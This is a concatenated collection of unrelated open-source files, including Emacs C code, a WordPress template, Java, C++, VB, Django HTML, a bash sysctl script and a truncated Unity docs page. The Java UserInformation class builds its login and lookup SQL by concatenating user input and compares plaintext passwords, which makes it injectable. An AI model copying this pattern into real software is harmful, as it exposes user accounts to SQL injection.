0; else w32_unicode_filenames = 1; DEFVAR_BOOL ("w32-use-native-image-API", w32_use_native_image_api, doc: /* Non-nil means use the native MS-Windows image API to display images. A value of nil means displaying images other than PBM and XBM requires optional supporting libraries to be installed. The native image API library used is GDI+ via GDIPLUS.DLL. This library is available only since W2K, therefore this variable is unconditionally set to nil on older systems. */); /* For now, disabled by default, since this is an experimental feature. */ #if 0 && HAVE_NATIVE_IMAGE_API if (os_subtype == OS_9X) w32_use_native_image_api = 0; else w32_use_native_image_api = 1; #else w32_use_native_image_api = 0; #endif /* FIXME: The following variable will be (hopefully) removed before Emacs 25.1 gets released. */ DEFVAR_BOOL ("w32-add-wrapped-menu-bar-lines", w32_add_wrapped_menu_bar_lines, doc: /* Non-nil means frame resizing accounts for wrapped menu bar lines. A value of nil means frame resizing does not add the height of wrapped menu bar lines when sending a frame resize request to the Windows API. This usually means that the resulting frame height is off by the number of wrapped menu bar lines. If this is non-nil, Emacs adds the height of wrapped menu bar lines when sending frame resize requests to the Windows API. */); w32_add_wrapped_menu_bar_lines = 1; /* Tell Emacs about this window system. */ Fprovide (Qw32, Qnil); }
salewski/emacs
src/w32term.c
C
gpl-3.0
227,321
<?php /** * Single Post template file * * This file is the single template file, used on single blog posts, per * the {@link http://codex.wordpress.org/Template_Hierarchy Template Hierarchy}. * * @link http://codex.wordpress.org/Function_Reference/comments_open comments_open() * @link http://codex.wordpress.org/Function_Reference/comments_template comments_template() * @link http://codex.wordpress.org/Function_Reference/get_header get_header() * @link http://codex.wordpress.org/Function_Reference/get_footer get_footer() * @link http://codex.wordpress.org/Function_Reference/have_posts have_posts() * @link http://codex.wordpress.org/Function_Reference/post_password_required post_password_required() * @link http://codex.wordpress.org/Function_Reference/the_content the_content() * @link http://codex.wordpress.org/Function_Reference/the_ID the_ID() * @link http://codex.wordpress.org/Function_Reference/the_post the_post() * @link http://codex.wordpress.org/Function_Reference/wp_link_pages wp_link_pages() * * @uses apptheme_no_posts() Defined in /functions.php * * @package App Theme * @copyright Copyright (c) 2010, UpThemes * @license license.txt GNU General Public License, v3 * @since AppTheme 1.0 */ /** * Include the header template part file * * MUST come first. * Calls the header PHP file. * Used in all primary template pages * * @see {@link: http://codex.wordpress.org/Function_Reference/get_header get_header} * * Child Themes can replace this template part file globally, via "header.php", or in * a specific context only, via "header-single.php" */ get_header(); ?> <div id="content"> <div class="row"> <div class="column six"> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <h1><?php the_title(); ?></h1> <div id="post-<?php the_ID(); ?>" <?php post_class('postwrapper'); ?>> <?php the_content(); ?> <?php wp_link_pages(); ?> </div><!-- /.postwrapper --> <?php if ( comments_open() && ! post_password_required() ) { /** * Include the comments template * * Includes the comments.php template part file */ comments_template(); } ?> <?php endwhile; ?> <?php else : ?> <?php /** * Output no-post content */ apptheme_no_posts(); ?> <?php endif; ?> </div><!-- .column.six --> </div><!-- .row --> </div><!-- #content --> <?php /** * Include the footer template part file * * MUST come last. * Calls the footer PHP file. * Used in all primary template pages * * Codex reference: {@link http://codex.wordpress.org/Function_Reference/get_footer get_footer} * * Child Themes can replace this template part file globally, via "footer.php", or in * a specific context only, via "footer-single.php" */ get_footer(); ?>
UpThemes/AppTheme
single.php
PHP
gpl-3.0
2,893
Imports javax.annotation Imports javax.lang.model.element ' ' * Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved. ' * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' Namespace javax.annotation.processing ''' <summary> ''' A {@code Messager} provides the way for an annotation processor to ''' report error messages, warnings, and other notices. Elements, ''' annotations, and annotation values can be passed to provide a ''' location hint for the message. However, such location hints may be ''' unavailable or only approximate. ''' ''' <p>Printing a message with an {@linkplain ''' javax.tools.Diagnostic.Kind#ERROR error kind} will {@linkplain ''' RoundEnvironment#errorRaised raise an error}. ''' ''' <p>Note that the messages &quot;printed&quot; by methods in this ''' interface may or may not appear as textual output to a location ''' like <seealso cref="System#out"/> or <seealso cref="System#err"/>. Implementations may ''' choose to present this information in a different fashion, such as ''' messages in a window. ''' ''' @author Joseph D. Darcy ''' @author Scott Seligman ''' @author Peter von der Ah&eacute; </summary> ''' <seealso cref= ProcessingEnvironment#getLocale ''' @since 1.6 </seealso> Public Interface Messager ''' <summary> ''' Prints a message of the specified kind. ''' </summary> ''' <param name="kind"> the kind of message </param> ''' <param name="msg"> the message, or an empty string if none </param> Sub printMessage(ByVal kind As javax.tools.Diagnostic.Kind, ByVal msg As CharSequence) ''' <summary> ''' Prints a message of the specified kind at the location of the ''' element. ''' </summary> ''' <param name="kind"> the kind of message </param> ''' <param name="msg"> the message, or an empty string if none </param> ''' <param name="e"> the element to use as a position hint </param> Sub printMessage(ByVal kind As javax.tools.Diagnostic.Kind, ByVal msg As CharSequence, ByVal e As Element) ''' <summary> ''' Prints a message of the specified kind at the location of the ''' annotation mirror of the annotated element. ''' </summary> ''' <param name="kind"> the kind of message </param> ''' <param name="msg"> the message, or an empty string if none </param> ''' <param name="e"> the annotated element </param> ''' <param name="a"> the annotation to use as a position hint </param> Sub printMessage(ByVal kind As javax.tools.Diagnostic.Kind, ByVal msg As CharSequence, ByVal e As Element, ByVal a As AnnotationMirror) ''' <summary> ''' Prints a message of the specified kind at the location of the ''' annotation value inside the annotation mirror of the annotated ''' element. ''' </summary> ''' <param name="kind"> the kind of message </param> ''' <param name="msg"> the message, or an empty string if none </param> ''' <param name="e"> the annotated element </param> ''' <param name="a"> the annotation containing the annotation value </param> ''' <param name="v"> the annotation value to use as a position hint </param> Sub printMessage(ByVal kind As javax.tools.Diagnostic.Kind, ByVal msg As CharSequence, ByVal e As Element, ByVal a As AnnotationMirror, ByVal v As AnnotationValue) End Interface End Namespace
amethyst-asuka/java_dotnet
javax/annotation/processing/Messager.vb
Visual Basic
gpl-3.0
3,407
// This file has been generated by Py++. #include "stdafx.h" #include "pypluspluscommon.h" #include "boost/python.hpp" #include "__call_policies.pypp.hpp" #include "xmlmanager.h" #include "httpurl.h" #include "xmldocument.h" #include "xmlmanager.pypp.hpp" namespace bp = boost::python; struct XMLManager_wrapper : ::osiris::XMLManager, ::osiris::PythonWrapper< ::osiris::XMLManager > { XMLManager_wrapper( ) : ::osiris::XMLManager( ) , ::osiris::PythonWrapper< ::osiris::XMLManager >(){ // null constructor } static boost::python::object parseBuffer( ::osiris::XMLManager & inst, ::osiris::Buffer const & buffer, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr), ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseBuffer(buffer, handler, schema, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseFile( ::osiris::XMLManager & inst, ::osiris::String const & filename, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseFile(filename, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseString( ::osiris::XMLManager & inst, ::osiris::String const & str, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseString(str, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseStringUTF8( ::osiris::XMLManager & inst, ::std::string const & str, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseStringUTF8(str, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseStream( ::osiris::XMLManager & inst, ::boost::shared_ptr< osiris::IStream > stream, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr), ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseStream(stream, handler, schema, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseUrl( ::osiris::XMLManager & inst, ::osiris::HttpUrl const & url, ::osiris::IXMLHandler * handler, ::osiris::String const & userAgent, ::boost::shared_ptr< boost::asio::io_service > service, ::boost::shared_ptr< osiris::TCPSocket > socket, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseUrl(url, handler, userAgent, service, socket, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeBuffer( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::Buffer & buffer, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeBuffer(document, buffer, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeFile( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::String const & filename, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeFile(document, filename, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeString( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::String & str ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeString(document, str); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeStringUTF8( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::std::string & str ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeStringUTF8(document, str); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeStream( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::boost::shared_ptr< osiris::IStream > stream, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeStream(document, stream, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateBuffer( ::osiris::XMLManager const & inst, ::osiris::Buffer const & buffer, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateBuffer(buffer, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateFile( ::osiris::XMLManager const & inst, ::osiris::String const & filename, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateFile(filename, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateString( ::osiris::XMLManager const & inst, ::osiris::String const & str, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateString(str, schema); __pythreadSaver.restore(); return boost::python::object( result ); } }; void register_XMLManager_class(){ ::boost::python::class_< XMLManager_wrapper, ::boost::python::bases< ::osiris::StaticSingleton< osiris::XMLManager, true > >, ::boost::noncopyable >( "XMLManager", ::boost::python::no_init ) .def( ::boost::python::init< >() ) .def( "parseBuffer" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::Buffer const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema>,::osiris::String const & ))( &XMLManager_wrapper::parseBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("buffer"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "parseFile" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::String const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("filename"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseString" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::String const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseStringUTF8" , (boost::python::object (*)( ::osiris::XMLManager &,::std::string const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseStringUTF8 ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseStream" , (boost::python::object (*)( ::osiris::XMLManager &,::boost::shared_ptr<osiris::IStream>,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema>,::osiris::String const & ))( &XMLManager_wrapper::parseStream ) , ( ::boost::python::arg("inst"), ::boost::python::arg("stream"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "parseUrl" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::HttpUrl const &,::osiris::IXMLHandler *,::osiris::String const &,::boost::shared_ptr<boost::asio::io_service>,::boost::shared_ptr<osiris::TCPSocket>,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseUrl ) , ( ::boost::python::arg("inst"), ::boost::python::arg("url"), ::boost::python::arg("handler"), ::boost::python::arg("userAgent"), ::boost::python::arg("service"), ::boost::python::arg("socket"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "writeBuffer" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::Buffer &,::osiris::String const & ))( &XMLManager_wrapper::writeBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("buffer"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "writeFile" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::String const &,::osiris::String const & ))( &XMLManager_wrapper::writeFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("filename"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "writeString" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::String & ))( &XMLManager_wrapper::writeString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("str") ) ) .def( "writeStringUTF8" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::std::string & ))( &XMLManager_wrapper::writeStringUTF8 ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("str") ) ) .def( "writeStream" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::boost::shared_ptr<osiris::IStream>,::osiris::String const & ))( &XMLManager_wrapper::writeStream ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("stream"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "validateBuffer" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::Buffer const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("buffer"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "validateFile" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::String const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("filename"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "validateString" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::String const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("schema")=(nullptr) ) ); }
OsirisSPS/osiris-sps
client/src/plugins/python/wrappers/xmlmanager.pypp.cpp
C++
gpl-3.0
12,206
package models; import java.sql.ResultSet; import java.sql.SQLException; /** * Classe qui permet de gérer les informations des utilisateurs déjà inscris. * @author BURC Pierre, DUPLOUY Olivier, KISIALIOVA Katsiaryna, SEGUIN Tristan * */ public class UserInformation { private User infoUser; private static String quoteCharacter="'"; /** * Constructeur vide. */ public UserInformation(){ } /** * <p>Méthode qui permet de récupérer l'ensemble des informations d'un utilisateur en * interrogeant la BDD.</p> * @param pseudo Le pseudo pour lequel on souhaite récupérer les informations. * @throws SQLException Problème SQL. */ public void retrieveInformation(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT * FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); if (!res.first()){ this.infoUser=new User("guest"); }else{ res.first(); this.infoUser=new User( res.getString("pseudo"), res.getString("nom"), res.getString("prenom"), res.getString("mdp"), res.getString("email")); } ConnectionBase.close(); } /*public void profil(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT * FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); res.first(); this.infoUser=new User( res.getString("pseudo"), res.getString("mdp"), res.getString("nom"), res.getString("prenom"), res.getString("email")); ConnectionBase.close(); }*/ /** * * @param pseudo * @return vrai s'il y a déjà un pseudo égal au paramètre. Sinon faux * @throws SQLException */ public boolean pseudoAlreadyExists(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT pseudo FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); boolean retour=res.first(); ConnectionBase.close(); return retour; } /** * * @param pseudo * @param mdp * @return vrai si l'utilisateur est autorisé à se connecter. Sinon faux * @throws SQLException */ public boolean connectionAllowed(String pseudo,String mdp) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT pseudo,mdp " + "FROM \"UserInfo\" " + "WHERE pseudo='"+pseudo+"'"+ "AND mdp='"+mdp+"'"); boolean retour=res.first(); ConnectionBase.close(); return retour; } /** * Getter permettant de récupérer un objet User contenant les informations d'un utilisateur. * @return */ public User getInfoUser() { return infoUser; } }
lodacom/UpYourMood
app/models/UserInformation.java
Java
gpl-3.0
2,698
#include <iostream> #include "argument.h" using namespace std; using namespace command; #define VALUE "-1234567890" typedef int ArgumentType; ArgumentType test; void _function(ArgumentType value) { test = value; } int main() { Argument<ArgumentType> argument("Argument as negative int", _function); if (argument.understand(VALUE)) { argument.handle(); } else { cout << "Argument class do not understand negative int values\n"; return 1; } if (test == std::stoi(VALUE)) { cout << "Argument class handles negative int values\n"; return 0; } cout << "Argument class do not handle negative int values\n"; return 1; }
quayle/command
tests/argument/handles_negative_int_value.cpp
C++
gpl-3.0
704
/** * This file is part of JIM. * * Copyright (c) 2011-2015 Juan Jose Salazar Garcia jjslzgc@gmail.com * * JIM is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * JIM is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with JIM. If not, see <http://www.gnu.org/licenses/>. * **/ #ifndef BUSINESSEDITOR_H #define BUSINESSEDITOR_H #include <QWidget> #define BUSINESS_EDITOR_MINIMUM_WIDTH 450 QT_BEGIN_NAMESPACE class QTabWidget; class QPushButton; QT_END_NAMESPACE namespace Model { namespace Domain { class Entity; } } namespace View { namespace Management { class EntityEditor; class ProductEditor; class BusinessEditor : public QWidget { Q_OBJECT public: BusinessEditor(QWidget *parent = 0); public slots: void addEntity(const Model::Domain::Entity& entity); void setCurrentTab(int index); private: void createWidgets(); void createConnections(); QTabWidget *_tabWidget; EntityEditor *_customerEditor; EntityEditor *_supplierEditor; ProductEditor *_productEditor; QPushButton *_closeButton; }; } } #endif // BUSINESSEDITOR_H
j2sg/JIM
include/view/management/businesseditor.h
C
gpl-3.0
1,733
#include "defs.h" cross_product(a,b,c) Real a[MAXDIM] ; Real b[MAXDIM] ; Real c[MAXDIM] ; { a[0] = b[1] * c[2] - b[2] * c[1] ; a[1] = b[2] * c[0] - b[0] * c[2] ; a[2] = b[0] * c[1] - b[1] * c[0] ; }
FavioVazquez/MexicanNumericalSimulationSchool
preschool/tipsy-2.2.3d/code/cross_product.c
C
gpl-3.0
223
<!-- Este archivo es parte de GPLib - http://gplib.org/ GPlib es software libre desarrollado en la Facultad de Filosofía y Letras de la Universidad de Buenos Aires y liberado bajo los términos de la licencia GPLIB FILO www.gplib.org/licencia bajo los términos de GPL de GNU. Usted puede redistribuirlo y/o modificarlo bajo los términos de la licencia GPLIB FILO de GNU General Public License como esta publicado en la Free Software Foundation, tanto en la versión 3 de la licencia, o cualquiera de las versiones futuras Gplib es distribuido con el objetivo de que sea útil, pero SIN NINGUNA GARANTÍA DE FUNCIONAMIENTO; ni siquiera la garantía implícita de que sirva para un propósito particular. Cuando implemente este sistema sugerimos el registro en www.gplib.org/registro, con el fin de fomentar una comunidad de usuarios de GPLib. Ver la GNU General Public License para más detalles.http://www.gnu.org/licenses/> Este arquivo é parte do GPLib http://gplib.org/ GPLib é sofware livre desenviolvido na Faculdade de Filosofia e Letras da Universidade de Buenos Aires e liberado sob os termos da licença GPLib FILO www.gplib.org/licencia/ sob os termos de GPL de GNU. Você pode redistribuí-lo e/ou modificá-lo sob os termos da licença pública geral GNU como publicado na Free Software Foundation , tanto na versão 3 da licença ou quaisquer versões futuras. GPLib é distribuído com o objetivo de que seja útil, mas SEM QUALQUER GARANTIA DE PERFORMANCE; nem a garantia implícita de que servem a uma finalidade específica. Quando você implementar este sistema sugerimos o registro em www.gplib.org/registro/, a fim de promover uma comunidade de usuarios do GPLib. Veja a GNU General Public License para mais detalles. http://www.gnu.org/licenses/ This file is part of GPLib - http://gplib.org/ GPLib is free software developed by Facultad de Filosofia y Letras Universidad de Buenos Aires and distributed under the scope of GPLIB FILO www.gplib.org/license and the GPL Public License GNU. You can redistribute it and/or modify it under the terms of the GPLIB FILO GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. GPLib is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. After roll your own version of GPLIB you may register at www.gplib.org/register to buld a comunity of users and developers. See the GNU General Public License for more details. --> {% extends "webconf/base.html" %} {% block title %}{{block.super}} - {{form_title}}{% endblock%} {% block subtitle %}{{form_title}}{% endblock%} {% block content %} <!-- Inicio Bocata--> <div class="bocata edicionUsuario"> <div class='arriba'> <h1>&nbsp;</h1> </div> <div class='cuerpo-exterior'> <div class='cuerpo'> <div class='cuerpo-interior'> Rellena o completa los datos del usuario</div> </div> </div> <div class='pie-exterior'> <div class='pie'> <div class='pie-interior'> </div> </div> </div> </div> <!-- Fin Bocata--> <div id="FromUsuario"> <form action="{{ form_url }}" method="post" enctype="multipart/form-data"> {% csrf_token %} {{ form.non_field_errors }} <table> <tr> <td colspan="2"><div class="Mouse edicionUsuario"></div></td> <td>&nbsp;</td> </tr> {% for field in form %} <tr> <td>{{ field.label_tag }}</td><td>{{ field }} {{ field.errors }}</td> {% if forloop.first %} <td rowspan="9" valign="top" class="tdFoto"> <img src="{% if photo %}{{photo}}{% else %}images{%endif%}" class="fotoUsuario" /><br /> <input name="photo" id="id_photo" type="file"> </td> {% endif %} </tr> {% endfor %} {% if user.is_superuser %} <tr><td>Grupos</td><td> <select id="id_groups" name="groups" multiple> {% for group in groups %} {% if group.get_id in userdoc.groups %} <option selected="selected" value="{{group.get_id}}"> {{ group.name }} A </option> {% else %} <option value="{{group.get_id}}"> {{ group.name }} </option> {% endif %} {% endfor %} </select></td> </tr> {% endif %} </table> <input src="/media/images/but_guardarForm.png" value="submit" type="image" class="but" /> </form> {% if delete_url %} <form action="{{ delete_url }}" method="post"> {% csrf_token %} <input type="image" value="Eliminar usuario" onclick="return confirm('Confirme eliminación de usuario');" src="/media/images/but_eliminarUsuarios.png" class="but" /> </form> {% endif%} </div> <script type="text/javascript"> $(function() { $("#id_groups").multiselect(); }); </script> {% endblock %}
gplib/gplib
gplib/templates/webconf/couchauth/form_user.html
HTML
gpl-3.0
4,963
#!/bin/bash sudo echo 10 > /proc/sys/vm/dirty_ratio sudo echo 5 > /proc/sys/vm/dirty_background_ratio sudo echo 3000 > /proc/sys/vm/dirty_expire_centisecs sudo echo 500 > /proc/sys/vm/dirty_writeback_centisecs sudo echo 100 > /proc/sys/vm/vfs_cache_pressure
dewtx29/linux_script
s/os/sysctl4.sh
Shell
gpl-3.0
258
<!DOCTYPE html> <html lang="en" class="no-js"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Unity - Scripting API: EditorSkin</title> <meta name="description" content="Develop once, publish everywhere! Unity is the ultimate tool for video game development, architectural visualizations, and interactive media installations - publish to the web, Windows, OS X, Wii, Xbox 360, and iPhone with many more platforms to come." /> <meta name="author" content="Unity Technologies" /> <link rel="shortcut icon" href="../StaticFiles/images/favicons/favicon.ico" /> <link rel="icon" type="image/png" href="../StaticFiles/images/favicons/favicon.png" /> <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../StaticFiles/images/favicons/apple-touch-icon-152x152.png" /> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="../StaticFiles/images/favicons/apple-touch-icon-144x144.png" /> <link rel="apple-touch-icon-precomposed" sizes="120x120" href="../StaticFiles/images/favicons/apple-touch-icon-120x120.png" /> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="../StaticFiles/images/favicons/apple-touch-icon-114x114.png" /> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="../StaticFiles/images/favicons/apple-touch-icon-72x72.png" /> <link rel="apple-touch-icon-precomposed" href="../StaticFiles/images/favicons/apple-touch-icon.png" /> <meta name="msapplication-TileColor" content="#222c37" /> <meta name="msapplication-TileImage" content="../StaticFiles/images/favicons/tileicon-144x144.png" /> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-2854981-1']); _gaq.push(['_setDomainName', 'unity3d.com']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <script type="text/javascript" src="../StaticFiles/js/jquery.js"> </script> <script type="text/javascript" src="docdata/toc.js">//toc</script> <!--local TOC--> <script type="text/javascript" src="docdata/global_toc.js">//toc</script> <!--global TOC, including other platforms--> <script type="text/javascript" src="../StaticFiles/js/core.js"> </script> <link href="http://fonts.googleapis.com/css?family=Open+Sans:400,700,400italic" rel="stylesheet" type="text/css" /> <link rel="stylesheet" type="text/css" href="../StaticFiles/css/core.css" /> </head> <body> <div class="header-wrapper"> <div id="header" class="header"> <div class="content"> <div class="spacer"> <div class="menu"> <div class="logo"> <a href="http://docs.unity3d.com"> </a> </div> <div class="search-form"> <form action="30_search.html" method="get" class="apisearch"> <input type="text" name="q" placeholder="Search scripting..." autosave="Unity Reference" results="5" class="sbox field" id="q"> </input> <input type="submit" class="submit"> </input> </form> </div> <ul> <li> <a href="http://docs.unity3d.com">Overview</a> </li> <li> <a href="../Manual/index.html">Manual</a> </li> <li> <a href="../ScriptReference/index.html" class="selected">Scripting API</a> </li> </ul> </div> </div> <div class="more"> <div class="filler"> </div> <ul> <li> <a href="http://unity3d.com/">unity3d.com</a> </li> </ul> </div> </div> </div> <div class="toolbar"> <div class="content clear"> <div class="lang-switcher hide"> <div class="current toggle" data-target=".lang-list"> <div class="lbl">Language: <span class="b">English</span></div> <div class="arrow"> </div> </div> <div class="lang-list" style="display:none;"> <ul> <li> <a href="">English</a> </li> </ul> </div> </div> <div class="script-lang"> <ul> <li class="selected" data-lang="CS">C#</li> <li data-lang="JS">JS</li> </ul> <div id="script-lang-dialog" class="dialog hide"> <div class="dialog-content clear"> <h2>Script language</h2> <div class="close"> </div> <p class="clear">Select your preferred scripting language. All code snippets will be displayed in this language.</p> </div> </div> </div> </div> </div> </div> <div id="master-wrapper" class="master-wrapper clear"> <div id="sidebar" class="sidebar"> <div class="sidebar-wrap"> <div class="content"> <div class="sidebar-menu"> <div class="toc"> <h2>Scripting API</h2> </div> </div> <p> <a href="40_history.html" class="cw">History</a> </p> </div> </div> </div> <div id="content-wrap" class="content-wrap"> <div class="content-block"> <div class="content"> <div class="section"> <div class="mb20 clear"> <h1 class="heading inherit">EditorSkin</h1> <div class="clear"> </div> <div class="clear"> </div> <div class="suggest"> <a class="blue-btn sbtn">Suggest a change</a> <div class="suggest-wrap rel hide"> <div class="loading hide"> <div> </div> <div> </div> <div> </div> </div> <div class="suggest-success hide"> <h2>Success!</h2> <p>Thank you for helping us improve the quality of Unity Documentation. Although we cannot accept all submissions, we do read each suggested change from our users and will make updates where applicable.</p> <a class="gray-btn sbtn close">Close</a> </div> <div class="suggest-failed hide"> <h2>Sumbission failed</h2> <p>For some reason your suggested change could not be submitted. Please <a>try again</a> in a few minutes. And thank you for taking the time to help us improve the quality of Unity Documentation.</p> <a class="gray-btn sbtn close">Close</a> </div> <div class="suggest-form clear"> <label for="suggest_name">Your name</label> <input id="suggest_name" type="text"> </input> <label for="suggest_email">Your email</label> <input id="suggest_email" type="email"> </input> <label for="suggest_body" class="clear">Suggestion <span class="r">*</span></label> <textarea id="suggest_body" class="req"> </textarea> <button 